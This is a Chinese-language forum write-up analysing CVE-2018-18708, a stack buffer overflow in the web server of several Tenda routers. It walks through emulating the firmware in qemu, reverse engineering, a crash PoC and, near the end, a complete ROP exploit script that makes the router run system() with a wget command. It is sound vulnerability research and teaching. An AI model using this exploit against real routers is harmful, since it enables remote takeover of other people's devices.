本文为看雪论坛优秀文章
看雪论坛作者ID:hlhow
分析了一部分tenda的漏洞,发现存在一系列相似的栈溢出的漏洞,如CVE-2018-5767、CVE-2018-18708、CVE-2018-16333以及CVE-2020-13392等。这些漏洞的固件模拟流程一致,利用思路一致。但是仔细深入分析,会发现每个漏洞的的崩溃路径并不一致,在复现时都需要深入分析其函数调用链,确定漏洞触发路径。以CVE-2018-18708为例,本文重点学习此类固件模拟的流程以及逆向数据流跟踪的思路与方法。
CVE-2018-18708,多款Tenda产品中的httpd存在缓冲区溢出漏洞。攻击者可利用该漏洞造成拒绝服务(覆盖函数的返回地址)。以下产品和版本受到影响:Tenda AC7 V15.03.06.44_CN版本;AC9 V15.03.05.19(6318)_CN版本;AC10 V15.03.06.23_CN版本;AC15 V15.03.05.19_CN版本;AC18 V15.03.05.19(6318)_CN版本。
下载固件:https://down.tenda.com.cn/uploadfile/AC15/US_AC15V1.0BR_V15.03.05.19_multi_TD01.zip
binwalk -Me US_AC15V1.0BR_V15.03.05.19_multi_TD01.bin
cd ./_US_AC15V1.0BR_V15.03.05.19_multi_TD01.bin.extracted/squashfs-root
sudo chroot . ./qemu-arm-static ./bin/httpd
卡在启动界面,IDA分析原因,根据字符串”Welcome to …“来到main函数。
发现存在两个检查,第一个检查network,未通过则进入休眠阶段。第二个检查连接情况,未通过则打印连接失败。
所以想让服务正常启动,需要对这两处检查进行patch。
https://github.com/keystone-engine/keypatch
按需求对二进制文件进行patch,修改后点edit->patch program。
分析并修复网络环境
patch完继续执行二进制文件,发现ip地址不对。
进一步IDA查看ip地址如何得到的,通过字符串“listen ip”定位到sub_1B84C函数。
下断点,gdb分析sub_1B84C函数的调用链。
sudo chroot . ./qemu-arm-static -g 1234 ./bin/httpd
gdb-multiarch
set architecture arm
b *0x1B84C
target remote :1234
bt(backtrace)查看函数sub_1B84C的调用栈,结合IDA可以确定sub_29818调用了sub_1B84C。
重复上述步骤,可以得到调用链为:sub_2E420(main函数)-> sub_2E9EC(initWebs函数) -> sub_29510 -> sub_29818 -> sub_1B84C。
接下来分析printf的ip参数v8进行跟踪:v8关联到s.sa_data[2],s.sa_data[2]关联到a1,a2。
a1关联到g_lan_ip函数,最终回溯到主函数中。
可以看到ip的值与s和v17有关。
此处我们进行详细分析,根据函数名猜测getIfIp的作用的是获取ip地址,进入函数查看具体实现。
getIfIp为外部导入函数,对函数名进行搜索,查找存在的动态链接库。
readelf -d ./bin/httpd | grep NEEDED
nm -D ./lib/libcommon.so
发现getIfIp函数的本体存在于libcommon.so 中。
大致分析伪代码,可以看到一个系统调用ioctl(fd, 0x8915u, dest),查看这个系统调用所实现的功能。
ioctl(int fd,int command, (char*)argstruct)
ioctl调用与网络编程有关,文件描述符fd实际上是由socket()系统调用返回的。参数command的取值由/usr/include/linux/sockios.h 所规定。第三个参数是ifreq结构,在/usr /include/linux/if.h中定义。
参考:https://www.cnblogs.com/zxc2man/p/9511856.html
到头文件中查看,可以发现,第二个参数实现的功能正是获取IP地址。
第三个参数的含义需要进一步分析,先看函数整体的流程,应该就是成功获取ip地址返回v2,v2的值为0在main函数就不会进入if循环,而ip地址的值则由v17决定。进一步跟进v17,就是在getIfIp函数中的a2,由系统调用获取ip地址后赋给a2即main函数中的v17。
那么想让函数按我们分析的执行,还需要分析第三个参数的含义。第三个参数与main函数的v6有关,进一步分析,与getLanIfName函数有关,依照上面的步骤发现getLanIfName函数依然存在于libcommon.so中,查看函数的本体。
getLanIfName函数进一步关联到get_eth_name函数,且参数写死为0。依照上面的步骤发现get_eth_name函数依然存在于libChipApi.so中,查看函数的本体,函数返回v1,即网卡的名称,上述系统调用的第三个参数也就清楚了。
至此,我们可以梳理一下整个流程。在main函数中,首先调用getLanIfName函数进而调用get_eth_name函数获取网卡名称。然后将网卡名称作为参数输入到getIfIp中,函数功能为寻找网卡名称为br0的ip地址并传递给V17。
所以,想让二进制程序监听正确的ip地址需要新建一个名为br0的网卡。
sudo brctl addbr br0
sudo ifconfig br0 192.168.2.3/24
重新启动,找到了名为br0的网卡并获取了ip地址:
尝试访问web页面,还是存在错误:
按照0431师傅的做法:cp -rf ./webroot_ro/* ./webroot/,然后刷新一下就正常了。
根据官方给出的PoC,可以定位到漏洞点的位置。
逆向分析回溯函数的调用关系
得到调用链为:sub_C24C0 <- sub_C17A0 <- sub_C14DC <- formSetMacfiltercfg <- sub_42378 <- sub_2E9EC (initWebs函数)<- sub_2E420(main函数),分析清楚了触发漏洞的路径。
逆向数据流跟踪参数的来源
(1)被溢出的缓冲区a2来自sub_C24C0函数的上一级函数sub_C17A0
(2)溢出的字符串src的来源
src ← sub_C24C0函数的a1← sub_C17A0的a2参数 ← sub_C14DC的a2参数 ← formSetMacFilterCfg函数的v39 ← sub_2BA8C(v3, “deviceList”, &unk_F5124)函数的返回值。
由此可以判断出,程序获取到HTTP请求中deviceList的值,并一路传递到sub_c24C0函数的漏洞点。
调用路径中的分支跳转条件
(1)formSetMacfiltercfg <- sub_42378
可以看到要进入formSetMacfiltercfg函数需要访问“/goform/setMacFilterCfg。
(2)sub_C14DC <- formSetMacfiltercfg
可以看到,进入sub_C14DC函数,需要v19为0,则需要sub_C10D0的返回值为0。
sub_C10D0返回v1,可以看到,需要输入的数据a1为“black”或“white”。
(3)sub_C24C0
import requests
url = "http://192.168.2.3/goform/setMacFilterCfg"
cookie = {"Cookie":"password=12345"}
data = {"macFilterType": "white", "deviceList": "r"+ "A"*500}
response = requests.post(url, cookies=cookie, data=data)
response = requests.post(url, cookies=cookie, data=data)
print(response.text)
这里有个需要注意的地方,必须一次性发包两次才能访问到漏洞的路径,具体原因没有深入分析,希望有懂的师傅帮忙解惑!
运行PoC成功覆盖返回地址。
通过IDA静态查看即可确认偏移量为176,也可以动态调试获得。
需要找到system函数地址,并将system函数地址存入某个寄存器,将system函数参数传入R0寄存器,并跳转到system函数地址所在的寄存器。
首先,确定system函数的地址需要先找到libc的基址,根据偏移再计算出system函数的真实地址。qemu-user模拟不支持vmmap指令打印内存信息,官方给出了说明:https://github.com/pwndbg/pwndbg/blob/dev/pwndbg/commands/vmmap.py
所以我们使用puts函数泄露libc地址,gdb调试下断点到puts函数,可以看到地址为0xff5c1cd4,在IDA中查看system函数的地址为0x35cd4,得到偏移量为:0xff5c1cd4 – 0x35cd4 = 0xff58c000.而且需要说明的一点是,每次调试libc的基地址都是相同的,这是因为gdb调试的默认关闭了ASLR。
sudo pip3 install ropgadget
ROPgadget
0x00040cb8 : mov r0, sp ; blx r3
可以看到,在控制R0之后,这条指令跳转到R3,因此,我们可以再找一条控制R3的gadget。
ROPgadget --binary ./lib/libc.so.0 --only "pop"| grep r3
0x00018298 : pop {r3, pc}
这样就组成了payload:padding + gadget1 + system_addr + gadget2 + cmd
padding将函数溢出后覆盖返回地址为gadget1,gadget1将system_addr弹出到R3,将gadget2的地址弹出到pc执行gadget2,gadget2将此时栈顶的cmd参数弹出到R0,接着跳转到R3执行system函数。
import requests
from pwn import *
cmd="wget 192.168.11.35"
libc_base = 0xff58c000
system = libc_base + 0x5A270
mov_r0_ret_r3 = libc_base + 0x40cb8
pop_r3 = libc_base + 0x18298
payload = 'a'*176
payload+= p32(pop_r3) + p32(system) + p32(mov_r0_ret_r3) + cmd
url = "http://192.168.2.3/goform/setMacFilterCfg"
cookie = {"Cookie":"password=12345"}
data = {"macFilterType": "black", "deviceList": "r" + payload}
response = requests.post(url, cookies=cookie, data=data)
response = requests.post(url, cookies=cookie, data=data)
print(response.text)
可能是qemu-user模拟的原因,直接启动的话无法看到system函数的执行,需要加上-strace才能看到被执行!
本文重点分析了模拟环境时的patch过程,以及如何逆向分析网络问题。针对tenda路由器模拟的一个共性问题:需要新建一个br0网卡,进行了逆向分析找到了原因,对路由器网络服务启动的流程有了一个更清晰的认识。
另外,对qemu-user + gdb调试的方式有了更深体会。相比于系统模拟,用户模拟启动更快速更方便,不需要配置qemu虚拟机和宿主机的网络连接。但是会存在一些不能查看内存信息,执行命令不能显示等奇奇怪怪的问题。总的来说,两种方式各有优劣,在之后的调试过程中可以按需选择。
参考
https://www.anquanke.com/post/id/204403#h2-0
https://bbs.pediy.com/thread-273921.htm
看雪ID:hlhow
https://bbs.pediy.com/user-home-945201.htm
*本文由看雪论坛 hlhow 原创,转载请注明来自看雪社区
看雪2022KCTF秋季赛官网:https://ctf.pediy.com/game-team_list-18-29.htm
原文始发于微信公众号(看雪学苑):Tenda 路由器栈溢出详细分析(CVE-2018-18708)